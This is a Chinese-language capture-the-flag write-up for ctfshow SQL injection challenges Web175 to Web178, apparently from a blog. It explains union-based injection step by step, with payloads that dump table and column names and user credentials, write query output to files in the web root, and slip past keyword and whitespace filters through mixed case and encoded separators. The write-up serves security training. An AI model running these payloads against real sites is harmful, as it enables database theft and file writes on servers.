ctfshow(175->178)--SQL注入--联合注入及其过滤

Web175

进入界面:

审计:

查询语句:

php 复制代码
$sql = "select username,password from ctfshow_user5 where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑:

php 复制代码
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

preg_match函数过滤了所有ASCII码中的符号。

相当于禁止查询任何内容。

思路/EXP:

在linux中,/var/www/html/是网站默认的文件存放位置,我们将查询内容写入文件之后读取。

使用into outfile "[文件路径]"将数据写入我们创建的文件。

php 复制代码
1' order by 2--+ //查出字段数为2

-1' union select 1,database() into outfile '/var/www/html/1.txt'--+
//爆库,查看1.txt得到库名

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web' into outfile '/var/www/html/2.txt'--+
//爆表,查看2.txt得到表名
//1.txt被创建并写入内容后,不能使用into outfile再向其中写入内容了,所以创建并写入2.txt

-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user5' into outfile '/var/www/html/3.txt'--+
//爆字段

-1' union select username, password from ctfshow_user5 into outfile '/var/www/html/flag.txt'--+
//爆数据

得到flag.

Web176

进入界面:

审计:

查询语句:

php 复制代码
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑:

php 复制代码
//对传入的参数进行了过滤
  function waf($str){
   //代码过于简单,不宜展示
  }

思路/EXP:

不再是对查询的内容进行过滤,而是对我们传入的参数进行了过滤。

但是不知道过滤的内容是什么。

先按照联合注入的流程进行查询,在查询的过程再判断过滤了什么:

php 复制代码
1' order by 3--+ //字段数为3

-1' union select 1,2,3--+
//报错,将union和select分别进行大小写混写,发现是过滤了select
-1' union sElect 1,2,3--+
-1' union sElect 1,2,database()--+
-1' union sElect 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+
-1' union sElect 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user'--+
-1' union sElect 1,2,group_concat(username,password) from ctfshow_user--+

得到flag.

或者输入1' or 1=1--+,得到数据表全部数据。

Web177

进入界面:

审计:

查询语句:

php 复制代码
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑:

php 复制代码
//对传入的参数进行了过滤
  function waf($str){
   //代码过于简单,不宜展示
  }

思路:

依旧联合注入,在注入过程中判断被过滤的字符。

发现空格被过滤,将空格替换为/**/绕过。

注释--+也被过滤,替换为%23绕过。

php 复制代码
1'/**/order/**/by/**/3%23 //%23是#的URL编码,也是sql语句的注释符号
-1'/**/union/**/select/**/1,2,database()%23 //爆库
-1'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='ctfshow_web'%23 //爆表
-1'/**/union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='ctfshow_user'%23 //爆字段
-1'/**/union/**/select/**/1,2,group_concat(username,password)/**/from/**/ctfshow_user%23 //爆数据

得到flag.

Web178

进入页面:

审计:

与上一题相同。

思路:

依旧边注入边分析过滤的内容。

依旧是过滤了空格,但是也过滤了/**/+,导致我们不能用这两个符号来绕过空格。

使用脚本,测试所以可以绕过空格的符号:

python 复制代码
order = "1' order by 1%23"
#绕过对空格的过滤
#空格替换:%09 %0a %0d %0c /**/ +
spaces = ["%09","%0a","%0d","%0c","/**/","+"]
for space in spaces:
    string = order.replace(" ",space)
    print(string)

发现除了/**/+,其他符号都有效。

php 复制代码
1'%09order%09by%093%23 //字段数为3
-1'%09union%09select%091,2,database()%23 //爆库名
-1'%09union%09select%091,2,group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema='ctfshow_web'%23 //爆表名
-1'%09union%09select%091,2,group_concat(column_name)%09from%09information_schema.columns%09where%09table_name='ctfshow_user'%23 //爆字段
-1'%09union%09select%091,2,group_concat(username,password)%09from%09ctfshow_user%23 //爆数据

得到flag.

相关推荐
磐时信息技术11 小时前
GB 44495/44496正式施行:智能网联汽车信息安全与软件升级进入强制合规阶段
网络安全·信息安全·汽车·gb44495·gb44496
MatrixOrigin12 小时前
MatrixOne Git4Data 技术详解(七)·数据运维实践篇:Write-Audit-Publish——给 ETL 流水线装一道发布门禁
sql·数据平台·ai-native·矩阵起源·git4data·matrixone
AI创界者12 小时前
【实战演练】基于 Kali Linux 的自动化漏洞扫描与安全加固指南
网络·安全·web安全
阿里云大数据AI技术1 天前
Hologres AI Function 文本分类实战:从提示词设计到 KV-Cache 调优,全程 SQL 搞定
人工智能·sql
技术不好的崎鸣同学1 天前
[ACTF2020 新生赛]Exec 思路及解法
算法·安全·web安全
2601_962683891 天前
治理遗留系统中的“生肉 SQL”:一次用多模型协作优化慢查询的实战复盘
数据库·人工智能·sql
被克制了1 天前
安全协议设计与分析(2)
网络安全·密码学·安全协议
dexi.Chi 攻城狮1 天前
SQL层次查询语法
经验分享·笔记·sql
华山令狐虫1 天前
DBAPI AI 写 SQL:支持动态 SQL 与参数占位符,自然语言一键生成
数据库·人工智能·sql·dbapi